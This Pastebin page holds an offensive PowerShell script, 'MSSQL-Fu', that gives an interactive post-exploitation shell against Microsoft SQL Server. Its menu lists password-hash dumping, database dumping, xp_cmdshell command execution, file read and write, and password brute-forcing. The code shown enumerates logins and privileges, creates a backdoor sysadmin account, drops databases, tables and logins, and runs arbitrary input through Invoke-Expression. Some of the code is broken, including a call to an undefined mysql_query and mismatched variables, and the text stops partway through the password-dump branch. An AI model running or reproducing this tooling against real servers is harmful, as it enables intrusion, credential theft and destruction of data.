Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <#
- .SYNOPSIS
- MSSQL-Fu Connection Assistant
- .DESCRIPTION
- Provides a MS-SQL Shell w/builtin functions to make life easy
- NOTE: Uses builtin .NET connection components
- .PARAMETER Ip
- The IP of listening MSSQL Service
- .PARAMETER User
- The username to authenticate as (default: sa)
- .PARAMETER Password
- The password to authenticate as
- .PARAMETER Database
- Optional Database name to use for authentication request (default: master)
- .EXAMPLE
- .\mssqlFu.ps1 -Ip 10.10.10.10 -User sa -Password sa
- #>
- param (
- [Parameter(Mandatory = $True)][string]$ip,
- [string]$user = "sa",
- [string]$password = "",
- [string]$database = "master"
- )
- <# Simple function to print the 0x31337 application banner #>
- function PrintBanner {
- Invoke-Expression "cls";
- Write-Host "";
- Write-Host "[*] MSSQL-Fu Client Assistant";
- Write-Host "";
- }
- <# Generate a random string, of length $count #>
- function randz([int]$count) {
- return -join ((65..90) + (97..122) | Get-Random -Count $count | % {[char]$_});
- }
- <#
- Check & Confirm we can connect to MS-SQL instance
- Returns True on success, False otherwise
- #>
- function can_we_connect {
- $msg = "";
- $status = $False;
- try {
- $Error.Clear();
- $myConObj = New-Object System.Data.SqlClient.SqlConnection;
- $myConObj.ConnectionString = "Server=$($ip);Uid=$($user);Pwd=$($password);Database=$($database)";
- $myConObj.Open();
- $status = $True;
- $myConObj.Close();
- } catch {
- $msg = $_.Exception.Message;
- Write-Host $msg
- }
- return $status;
- }
- <# Convert ascii string into ms-sql char()+char() string for easier smuggling of data in queries #>
- function convertStrContentToMssqlCharStr([string]$str) {
- $msStr = "";
- foreach($line in $str.split("`n")) {
- $b = $line.ToCharArray();
- Foreach ($element in $b) {
- $msStr += "CHAR("+[byte][char]$element+")+";
- }
- $msStr += "+ CHAR(13)+CHAR(10) +";
- }
- $msStr = $msStr -replace "\+$", "";
- $msStr = $msStr -replace "+ CHAR(13)+CHAR(10) +$", "";
- return $msStr;
- }
- <# Convert a EXE/Bin file into a 0xhex string #>
- function convertFileContentToHexStr([string]$filename) {
- $hexStr = "";
- if(Test-Path -Path $filename) {
- Get-Content -Encoding byte $filename | %{ "{0:x}" -f $_ } | %{ if ( $_.Length -eq 1 ) { $hexStr = $hexStr + 0 + $_ } else { $hexStr = $hexStr + $_ } }
- $hexStr = "0x$($hexStr)";
- } else {
- Write-Host "[x] Unable to Load File for Hex Conversion: $filename";
- Write-Host " [x] Check path or permissions and try again...";
- }
- return $hexStr;
- }
- <# Run MS-SQL Query & Return result object #>
- function mssql_query([string]$sqlQuery) {
- $result = "";
- $msg = ""
- try {
- $Error.Clear();
- $myConObj = New-Object System.Data.SqlClient.SqlConnection
- $myConObj.ConnectionString = "Server=$($ip);Uid=$($user);Pwd=$($password);Database=$($database)";
- $SqlCmd = New-Object System.Data.SqlClient.SqlCommand;
- $SqlCmd.CommandText = $sqlQuery;
- $SqlCmd.Connection = $myConObj;
- $SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter;
- $SqlAdapter.SelectCommand = $SqlCmd;
- $DataSet = New-Object System.Data.DataSet;
- $rowCount = $SqlAdapter.Fill($DataSet);
- $result = $DataSet.Tables[0];
- $myConObj.Close()
- } catch {
- $msg = "[ERROR] Unable to run query: $sqlQuery `n`t$Error[0]`n"
- } finally {
- $myConObj.Close()
- }
- return New-Object PSObject -Property @{
- rowCount = $rowCount;
- result = $result;
- msg = $msg;
- }
- }
- <# Escape ' characters for use within embedded openquery() requests #>
- function addTicks([string]$str, [int]$ticCount) {
- if($ticCount -eq $NULL -Or $ticCount -eq 0) { $ticCount=1; }
- $tick = "'" * $ticCount;
- $moddedStr = $str -replace "'", $tick;
- return $moddedStr;
- }
- <# Query & Return basic ms-sql host information #>
- function mssql_basic_info {
- $hostname = (mssql_query "SELECT host_name();").result.Column1;
- $srvrname = (mssql_query "SELECT @@servername;").result.Column1;
- $version = (mssql_query "SELECT @@version;").result.Column1;
- $sv = (mssql_query "SELECT LEFT(CAST(serverproperty('productversion') as VARCHAR), 4)").result.Column1;
- if($sv -eq "8.00") {
- $specificVersion = "SQL 2000";
- } elseif($sv -eq "9.00") {
- $specificVersion = "SQL 2005";
- } elseif($sv -eq "10.00") {
- $specificVersion = "SQL 2008";
- } elseif($sv -eq "10.50") {
- $specificVersion = "SQL 2008R2";
- } elseif($sv -eq "11.00") {
- $specificVersion = "SQL 2012";
- } elseif($sv -eq "12.00") {
- $specificVersion = "SQL 2014";
- } elseif($sv -eq "13.00") {
- $specificVersion = "SQL 2016";
- } else {
- $specificVersion = "Unknown?";
- }
- $dataPath = (mssql_query "IF EXISTS(SELECT 1 FROM [master].[sys].[databases] WHERE [name] = 'zzTempDBForDefaultPath') BEGIN DROP DATABASE zzTempDBForDefaultPath END; CREATE DATABASE zzTempDBForDefaultPath; DECLARE @Default_Data_Path VARCHAR(512),@Default_Log_Path VARCHAR(512); SELECT @Default_Data_Path = (SELECT LEFT(physical_name,LEN(physical_name)-CHARINDEX('\',REVERSE(physical_name))+1) FROM sys.master_files mf INNER JOIN sys.[databases] d ON mf.[database_id] = d.[database_id] WHERE d.[name] = 'zzTempDBForDefaultPath' AND type = 0); SELECT @Default_Log_Path = (SELECT LEFT(physical_name,LEN(physical_name)-CHARINDEX('\',REVERSE(physical_name))+1) FROM sys.master_files mf INNER JOIN sys.[databases] d ON mf.[database_id] = d.[database_id] WHERE d.[name] = 'zzTempDBForDefaultPath' AND type = 1); IF EXISTS(SELECT 1 FROM [master].[sys].[databases] WHERE [name] = 'zzTempDBForDefaultPath') BEGIN DROP DATABASE zzTempDBForDefaultPath END; SELECT @Default_Data_Path;").result.Column1;
- $logPath = (mssql_query "IF EXISTS(SELECT 1 FROM [master].[sys].[databases] WHERE [name] = 'zzTempDBForDefaultPath') BEGIN DROP DATABASE zzTempDBForDefaultPath END; CREATE DATABASE zzTempDBForDefaultPath; DECLARE @Default_Data_Path VARCHAR(512),@Default_Log_Path VARCHAR(512); SELECT @Default_Data_Path = (SELECT LEFT(physical_name,LEN(physical_name)-CHARINDEX('\',REVERSE(physical_name))+1) FROM sys.master_files mf INNER JOIN sys.[databases] d ON mf.[database_id] = d.[database_id] WHERE d.[name] = 'zzTempDBForDefaultPath' AND type = 0); SELECT @Default_Log_Path = (SELECT LEFT(physical_name,LEN(physical_name)-CHARINDEX('\',REVERSE(physical_name))+1) FROM sys.master_files mf INNER JOIN sys.[databases] d ON mf.[database_id] = d.[database_id] WHERE d.[name] = 'zzTempDBForDefaultPath' AND type = 1); IF EXISTS(SELECT 1 FROM [master].[sys].[databases] WHERE [name] = 'zzTempDBForDefaultPath') BEGIN DROP DATABASE zzTempDBForDefaultPath END; SELECT @Default_Log_Path;").result.Column1;
- return New-Object PSObject -Property @{
- hostname = $hostname;
- version = $version.Trim();
- specificVersion = $specificVersion;
- srvrname = $srvrname;
- dataPath = $dataPath;
- logPath = $logPath;
- }
- }
- <# Builds Shell Help String for Output after call #>
- function shell_help {
- $helpOut = "`n[*] MSSQL-Fu Usage Options: `n"
- $helpOut += " <SQL> => Execute Provided SQL Query`n";
- $helpOut += " cls => Clear Terminal`n";
- $helpOut += " cmd <cmd> => Execute a Local OS Command (*this box*)`n";
- $helpOut += " exit or quit => Exit MySQL-Fu Shell Session`n";
- $helpOut += " info => SHOW Basic Info`n";
- $helpOut += " users => SHOW MS-SQL Users`n";
- $helpOut += " privs => SHOW MS-SQL User Privileges`n";
- $helpOut += " dbs => SHOW Available Database(s)`n";
- $helpOut += " tbls => SHOW Tables for All Database`n";
- $helpOut += " db.tbls => SHOW Tables for Known Database`n";
- $helpOut += " cols => SHOW Columns for Known Table & Database`n";
- $helpOut += " cols.all => SHOW Columns for ALL Tables & Databases`n";
- $helpOut += " new.db => CREATE New Database`n";
- $helpOut += " new.user => CREATE New MS-SQL User Account`n";
- $helpOut += " drop.db => DROP a Database`n";
- $helpOut += " drop.tbl => DROP a Database Table`n";
- $helpOut += " drop.view => DROP a Database (Table) View`n";
- $helpOut += " drop.proc => DROP a Database (Table) Stored Procedure`n";
- $helpOut += " drop.user => DROP a MS-SQL User Account`n";
- $helpOut += " passwords => DUMP MS-SQL Users & Password Hashes`n";
- $helpOut += " dump.tbl => DUMP Single Table`n";
- $helpOut += " dump.db => DUMP Database & All Tables`n";
- $helpOut += " dump.all => DUMP All Databases & Associated Tables`n";
- $helpOut += " read => READ File(s) from MS-SQL Host via Bulk Insert`n";
- $helpOut += " inline.read => READ File(s) from MS-SQL Host via Inline @FileSystemObject`n";
- $helpOut += " write => WRITE File(s) to MS-SQL Host via Inline @FileSystemObject`n";
- $helpOut += " xp_cmdshell => xp_cmdshell Command Shell`n";
- $helpOut += " inline.cmd => Inline @Wscript.Shell Command Shell`n";
- $helpOut += " openrowset => Bruteforce SQL User Account Password`n";
- $helpOut += " enable.func => ENABLE Special Function(s)`n";
- $helpOut += " disable.func => DISABLE Special Function(s)`n";
- $helpOut += " linked => Check & Crawl Linked Servers`n";
- $helpOut += " idf => Interesting Data Finder`n";
- $helpOut += "`n";
- return $helpOut;
- }
- <# Enable Functions Help Menu #>
- function enable_func_help {
- $helpOut = "`n[*] MSSQL-Fu Enable Function Options: `n"
- $helpOut += " cls => Clear Terminal`n";
- $helpOut += " exit or quit => Exit MySQL-Fu Shell Session`n"; $helpOut += "";
- $helpOut += " xp.shell => Enable xp_cmdshell`n";
- $helpOut += " new.xp => Create new_xp_cmdshell`n";
- $helpOut += " openrowset => Enable Openrowset()`n";
- $helpOut += " ole => Enable OLE Automation Procedures (sp_OACreate)`n";
- $helpOut += "`n";
- return $helpOut;
- }
- <# Disable Functions Help Menu #>
- function disable_func_help {
- $helpOut = "`n[*] MSSQL-Fu Disable Function Options: `n"
- $helpOut += " cls => Clear Terminal`n";
- $helpOut += " exit or quit => Exit MySQL-Fu Shell Session`n"; $helpOut += "";
- $helpOut += " xp.shell => Disable xp_cmdshell`n";
- $helpOut += " openrowset => Disable Openrowset()`n";
- $helpOut += " ole => Disable OLE Automation Procedures (sp_OACreate)`n";
- $helpOut += "`n";
- return $helpOut;
- }
- <# Handle CTRL+C Interupt and Exit Gracefully #>
- [console]::TreatControlCAsInput = $True;
- <# Create an output directory if one doesn't exist already #>
- $outDir = (Get-Item -Path ".\" -Verbose).FullName + "\output";
- if(!(Test-Path -PathType Container $outDir)) {
- New-Item -ItemType Directory -Force -Path $outDir;
- }
- $outDir = $outDir + "\" + $ip;
- if(!(Test-Path -PathType Container $outDir)) {
- New-Item -ItemType Directory -Force -Path $outDir | Out-Null;
- }
- # START
- PrintBanner;
- $Error.Clear();
- if(can_we_connect) {
- $basicInfo = mssql_basic_info;
- Write-Host "[*] Connected to MS-SQL Instance";
- Write-Host " [+] Host: $($ip)";
- Write-Host " [+] Host Name: $($basicInfo.hostname)";
- Write-Host " [+] Server Name: $($basicInfo.srvrname)";
- Write-Host " [+] Version: $($basicInfo.specificVersion)`n`t$($basicInfo.version)";
- Write-Host " [+] Data Path:`n`t$($basicInfo.dataPath)";
- Write-Host "`n";
- While($True) {
- $userArg = Read-Host "(mssql-fu)> ";
- if($userArg.Trim() -eq "") {
- Write-Host "";
- continue;
- } else {
- Write-Host "";
- }
- if($userArg.ToLower() -match '^exit$|^quit$') {
- Write-Host " [x] OK, closing MSSQL-Fu shell session...";
- Break;
- } elseif($userArg.ToLower() -eq 'cls' -Or $userArg.ToLower() -eq 'clear') {
- PrintBanner;
- } elseif($userArg.ToLower() -match '^cmd') {
- $cmd = $userArg.Substring(4);
- Invoke-Expression "$cmd";
- Write-Host "";
- } elseif($userArg.ToLower() -match '^\?$' -Or $userArg.ToLower() -match '^h$' -Or $userArg.ToLower() -match '^help') {
- $shout = shell_help;
- Write-Host $shout;
- } elseif($userArg.ToLower() -match '^basic' -Or $userArg.ToLower() -match '^info') {
- $basicInfo = mssql_basic_info;
- $basicOut =
- $basicOut = "[*] MS-SQL Host Info: $($ip)`n";
- $basicOut += " [+] Hostname: $($basicInfo.hostname)`n";
- $basicOut += " [+] Server Name: $($basicInfo.srvrname)`n";
- $basicOut += " [+] DB Version: $($basicInfo.specificVersion)`n`t$($basicInfo.version)`n";
- $basicOut += " [+] Data Path:`n`t$($basicInfo.dataPath)`n";
- $basicOut += " [+] Log Path:`n`t$($basicInfo.logPath)`n";
- Write-Host $basicOut;
- New-Item -path $outDir -Name "mssqlfu-basic_host_info.txt" -Value $basicOut -ItemType file -force | Out-Null;
- } elseif($userArg.ToLower() -match '^users' -Or $userArg.ToLower() -match '^usernames' -Or $userArg.ToLower() -match '^logons') {
- $sqlResult = mssql_query "SELECT name FROM master..syslogins";
- if($sqlResult.result -ne $NULL) {
- Write-Host " [*] Current SQL User Accounts: ";
- $usrOut = "[*] Current SQL User Accounts:`n";
- foreach($row in $sqlResult.result) {
- if($row.name -ne $NULL) {
- $usrOut += " [+] $($row.name)`n";
- Write-Host " [+] $($row.name)";
- }
- }
- New-Item -path $outDir -Name "mssqlfu-users.txt" -Value $usrOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Users Listing";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^dbs' -Or $userArg.ToLower() -match '^databases') {
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.result -ne $NULL) {
- Write-Host " [*] Available Databases: ";
- $dbOut = "[*] Available Databases:`n";
- foreach($dbName in $sqlResult.result) {
- if($dbname.name -ne $NULL) {
- $dbOut += " [+] $($dbname.name)`n";
- Write-Host " [+] $($dbname.name)";
- }
- }
- New-Item -path $outDir -Name "mssqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Database Listing";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^privs') {
- $result = mssql_query "SELECT name FROM master..syslogins;";
- if($result.rowCount -gt 1) {
- $privsOut = "[*] MS-SQL Users & Privileges:`n";
- foreach($row in $result.result) {
- $privsOut += " [+] User: $($row.name)`n";
- if(((mssql_query "SELECT is_srvrolemember('sysadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] SYSADMIN: YES`n";
- } else {
- $privsOut += " [-] SYSADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('dbcreator', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] DBCREATOR: YES`n";
- } else {
- $privsOut += " [-] DBCREATOR: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('bulkadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] BULKADMIN: YES`n";
- } else {
- $privsOut += " [-] BULKADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('diskadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] DISKADMIN: YES`n";
- } else {
- $privsOut += " [-] DISKADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('processadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] PROCESSADMIN: YES`n";
- } else {
- $privsOut += " [-] PROCESSADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('serveradmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] SERVERADMIN: YES`n";
- } else {
- $privsOut += " [-] SERVERADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('setupadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] SETUPADMIN: YES`n";
- } else {
- $privsOut += " [-] SETUPADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('securityadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] SECURITYADMIN: YES`n";
- } else {
- $privsOut += " [-] SECURITYADMIN: NO`n";
- }
- $privsOut += "`n";
- }
- Write-Host $privsOut;
- New-Item -path $outDir -Name "mssqlfu-user_privs.txt" -Value $privsOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Unable to obtain user listing to fetch privs"
- $result.result;
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^tbls' -Or $userArg.ToLower() -match '^tables') {
- $sql = "SELECT * FROM _DBNAME_.information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.result -ne $NULL) {
- $dbTblsOut = "[*] Available Tables by Database:`n";
- foreach($dbName in $sqlResult.result) {
- if($dbname.name -ne $NULL) {
- $dbTblsOut += " [+] DB: $($dbname.name)`n";
- }
- $sqlResult2 = mssql_query $sql.Replace("_DBNAME_", $dbname.name);
- if($sqlResult2.result -ne $NULL) {
- foreach($dbTblName in $sqlResult2.result) {
- $dbTblsOut += " [-] $($dbTblName[2])`n";
- }
- } else {
- $dbTblsOut += " [-] NO Tables Found`n";
- }
- $dbTblsOut += "`n"
- }
- Write-Host $dbTblsOut;
- New-Item -path $outDir -Name "mssqlfu-all.databases.tables.txt" -Value $dbTblsOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Database Listing to Fetch Tables";
- $sqlResult.msg;
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^db.tbl' -Or $userArg.ToLower() -match '^db.tables') {
- $dbName = Read-Host "ENTER Database Name";
- Write-Host "";
- $sqlResult = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
- $dbTblsOut = "[*] Available Tables in DB: $($dbName)`n";
- if($sqlResult.result -ne $NULL) {
- foreach($dbTblName in $sqlResult.result) {
- $dbTblsOut += " [+] $($dbTblName[2])`n";
- }
- } else {
- $dbTblsOut += " [+] NO Tables Found`n";
- }
- $dbTblsOut += "`n";
- Write-Host $dbTblsOut;
- New-Item -path $outDir -Name "mssqlfu-$($dbName).tables.txt" -Value $dbTblsOut -ItemType file -force | Out-Null;
- Write-Host "";
- } elseif($userArg.ToLower() -match '^cols$' -Or $userArg.ToLower() -match '^columns$') {
- $dbName = Read-Host "ENTER Database Name";
- Write-Host "";
- $sqlResult = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
- $dbTblsOut = "[*] Available Tables in DB: $($dbName)`n";
- if($sqlResult.result -ne $NULL) {
- foreach($dbTblName in $sqlResult.result) {
- $dbTblsOut += " [+] $($dbTblName[2])`n";
- }
- } else {
- $dbTblsOut += " [+] NO Tables Found`n";
- }
- $dbTblsOut += "`n";
- Write-Host $dbTblsOut;
- $dbTblName = Read-Host "ENTER Table Name to Fetch Columns For";
- Write-Host "";
- $dbTblColsOut = "[*] Available Columns in $($dbName) - $($dbTblName):`n";
- $sql = "Select COLUMN_NAME,DATA_TYPE From INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '_DBNAME_' AND TABLE_NAME like '_TABLE_NAME_' AND TABLE_SCHEMA like 'dbo';".Replace("_DBNAME_", $dbName).Replace("_TABLE_NAME_", $dbTblName);
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -ne $NULL) {
- foreach($row in $sqlResult.result) {
- $dbTblColsOut += " [+] $($row.COLUMN_NAME) ($($row.DATA_TYPE))`n";
- }
- } else {
- $dbTblColsOut += " [+] NO Columns Found`n";
- }
- $dbTblColsOut += "`n";
- Write-Host $dbTblColsOut;
- New-Item -path $outDir -Name "mssqlfu-$($dbName).$($dbTblName).columns.txt" -Value $dbTblColsOut -ItemType file -force | Out-Null;
- Write-Host "";
- } elseif($userArg.ToLower() -match '^cols.all$' -Or $userArg.ToLower() -match '^columns.all$' -Or $userArg.ToLower() -match '^all.col') {
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.result -ne $NULL) {
- $colsAllOut = "[*] Listing Columns for All Databases & Tables:`n";
- foreach($dbName in $sqlResult.result) {
- if($dbName.name -ne $NULL) {
- $ft = @();
- $foundTables = {$ft}.Invoke();
- $colsAllOut += " [+] DB: $($dbName.name)`n";
- $sql = "SELECT TABLE_NAME,COLUMN_NAME,DATA_TYPE From $($dbName.name).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '_DBNAME_' AND TABLE_SCHEMA like 'dbo';".Replace("_DBNAME_", $dbName.name);
- $sqlResult2 = mssql_query $sql;
- if($sqlResult2.result -ne $NULL) {
- foreach($row in $sqlResult2.result) {
- if($foundTables -contains $row.TABLE_NAME) {
- $colsAllOut += " [+] $($row.COLUMN_NAME) ($($row.DATA_TYPE))`n";
- } else {
- $colsAllOut += " [-] TABLE: $($row.TABLE_NAME)`n";
- $colsAllOut += " [+] $($row.COLUMN_NAME) ($($row.DATA_TYPE))`n";
- $foundTables.Add($row.TABLE_NAME);
- }
- }
- } else {
- $colsAllOut += " [-] NO Tables Found`n";
- }
- $colsAllOut += "`n";
- }
- }
- Write-Host $colsAllOut;
- New-Item -path $outDir -Name "mssqlfu-databases.tables.columns.all.txt" -Value $colsAllOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Database Listing";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^new.db' -Or $userArg.ToLower() -match '^new.database') {
- $dbName = Read-Host "ENTER Database Name to Create";
- Write-Host "";
- $sqlResult = mysql_query "CREATE DATABASE IF NOT EXISTS $($dbName);";
- if($sqlResult -eq $NULL) {
- Write-Host "[*] Added New Database";
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.result -ne $NULL) {
- Write-Host " [*] Updated Database Listing: ";
- $dbOut = "[*] Available Databases:`n";
- foreach($dbName in $sqlResult.result) {
- if($dbname.name -ne $NULL) {
- $dbOut += " [+] $($dbname.name)`n";
- Write-Host " [+] $($dbname.name)";
- }
- }
- New-Item -path $outDir -Name "mssqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Database Listing";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- } else {
- Write-Host " [x] Problem Creating New Database";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^new\.user') {
- $newUserName = Read-Host "ENTER New Username to CREATE";
- Write-Host "";
- $newUserPass = Read-Host "ENTER New User's Password";
- Write-Host "";
- Write-Host "[*] Attempting to create new user account";
- Write-Host " [+] User: $($newUserName)";
- Write-Host " [+] Pass: $($newUserPass)`n";
- $sqlResult = mssql_query "CREATE LOGIN $($newUserName) WITH PASSWORD = '$($newUserPass)';";
- if($sqlResult.result -eq $NULL -And $sqlResult.msg -eq "") {
- Write-Host "[*] New MS-SQL SYSADMIN User Account Created!";
- $sqlResult = mssql_query "EXEC master.dbo.sp_addsrvrolemember '$($newUserName)', 'sysadmin';";
- if($result.msg -ne "") {
- Write-Host " [x] Problem Granting New User Account SYSADMIN Membership"
- $result.msg;
- } else {
- Write-Host "";
- $result = mssql_query "SELECT name FROM master..syslogins;";
- if($result.rowCount -gt 1) {
- $privsOut = "[*] MS-SQL Users & Privileges:`n";
- foreach($row in $result.result) {
- $privsOut += " [+] User: $($row.name)`n";
- if(((mssql_query "SELECT is_srvrolemember('sysadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] SYSADMIN: YES`n";
- } else {
- $privsOut += " [-] SYSADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('dbcreator', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] DBCREATOR: YES`n";
- } else {
- $privsOut += " [-] DBCREATOR: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('bulkadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] BULKADMIN: YES`n";
- } else {
- $privsOut += " [-] BULKADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('diskadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] DISKADMIN: YES`n";
- } else {
- $privsOut += " [-] DISKADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('processadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] PROCESSADMIN: YES`n";
- } else {
- $privsOut += " [-] PROCESSADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('serveradmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] SERVERADMIN: YES`n";
- } else {
- $privsOut += " [-] SERVERADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('setupadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] SETUPADMIN: YES`n";
- } else {
- $privsOut += " [-] SETUPADMIN: NO`n";
- }
- if(((mssql_query "SELECT is_srvrolemember('securityadmin', '$($row.name)');").result.Column1) -eq 1) {
- $privsOut += " [-] SECURITYADMIN: YES`n";
- } else {
- $privsOut += " [-] SECURITYADMIN: NO`n";
- }
- $privsOut += "`n";
- }
- Write-Host $privsOut;
- New-Item -path $outDir -Name "mssqlfu-user_privs.txt" -Value $privsOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Unable to obtain user listing to fetch updated privs"
- if($result.msg -ne "") {
- $result.msg;
- } else {
- $result.result;
- }
- }
- }
- } else {
- Write-Host "[x] Unable to Create New DB User Login";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^drop\.db') {
- $dbName = Read-Host "ENTER Database Name to DROP";
- Write-Host "";
- $sqlResult = mssql_query "DROP DATABASE IF EXISTS $($dbName);";
- if($sqlResult.result -eq $NULL) {
- Write-Host "[*] Dropped Database: $($dbName)`n";
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.result -ne $NULL) {
- Write-Host "[*] Updated Database Listing: ";
- $dbOut = "[*] Available Databases:`n";
- foreach($dbName in $sqlResult.result) {
- if($dbname.name -ne $NULL) {
- $dbOut += " [+] $($dbname.name)`n";
- Write-Host " [+] $($dbname.name)";
- }
- }
- New-Item -path $outDir -Name "mssqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Database Listing After DROP?";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- } else {
- Write-Host "[x] Problem DROPing database: $($dbName)";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- } }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^drop\.tbl') {
- $dbTblName = Read-Host "ENTER Table Name to DROP";
- Write-Host "";
- $sqlResult = mssql_query "IF OBJECT_ID(dbo.$($dbTblName), 'U') IS NOT NULL DROP TABLE dbo.$($dbTblName);";
- if($sqlResult.result -eq $NULL) {
- Write-Host "[*] Table 'dbo.$($dbTblName)' has been DROPPED!`n";
- } else {
- Write-Host "[x] Problem DROPing Table: dbo.$($dbTblName)";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^drop\.view') {
- $dbTblName = Read-Host "ENTER (Table) View Name to DROP";
- Write-Host "";
- $sqlResult = mssql_query "IF OBJECT_ID(dbo.$($dbTblName), 'V') IS NOT NULL DROP VIEW dbo.$($dbTblName);";
- if($sqlResult.result -eq $NULL) {
- Write-Host "[*] Table View 'dbo.$($dbTblName)' has been DROPPED!`n";
- } else {
- Write-Host "[x] Problem DROPing Table View: dbo.$($dbTblName)";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^drop\.proc') {
- $dbTblName = Read-Host "ENTER (Table) Stored Procedure Name to DROP";
- Write-Host "";
- $sqlResult = mssql_query "IF OBJECT_ID(dbo.$($dbTblName), 'V') IS NOT NULL DROP PROCEDURE dbo.$($dbTblName);";
- if($sqlResult.result -eq $NULL) {
- Write-Host "[*] Stored Procedure 'dbo.$($dbTblName)' has been DROPPED!`n";
- } else {
- Write-Host "[x] Problem DROPing Stored Procedure: dbo.$($dbTblName)";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^drop\.user') {
- $sqlResult = mssql_query "SELECT name FROM master..syslogins;";
- if($sqlResult.result -ne $NULL) {
- Write-Host "[*] Current Database Users List:"
- foreach($row in $sqlResult.result) {
- if($row.name -ne $NULL) {
- Write-Host " [+] $($row.name)";
- }
- }
- Write-Host ""
- }
- $dropUsrName = Read-Host "ENTER Username to DROP";
- Write-Host "";
- $sqlResult = mssql_query "DROP LOGIN [$($dropUsrName)];";
- if($sqlResult.result -eq $NULL -And $sqlResult.msg -eq "") {
- Write-Host "[*] Successfully DROPPED: $($dropUsrName)";
- $sqlResult = mssql_query "SELECT name FROM master..syslogins;";
- if($sqlResult.result -ne $NULL) {
- Write-Host "[*] Updated DB Users List:"
- foreach($row in $sqlResult.result) {
- if($row.name -ne $NULL) {
- Write-Host " [+] $($row.name)";
- }
- }
- Write-Host ""
- }
- } else {
- Write-Host "[x] Problem DROPing Database User: $($dropUsrName)";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^pass' -Or $userArg.ToLower() -match '^pwd') {
- if($basicInfo.specificVersion -eq "SQL 2000") { # 2000 only
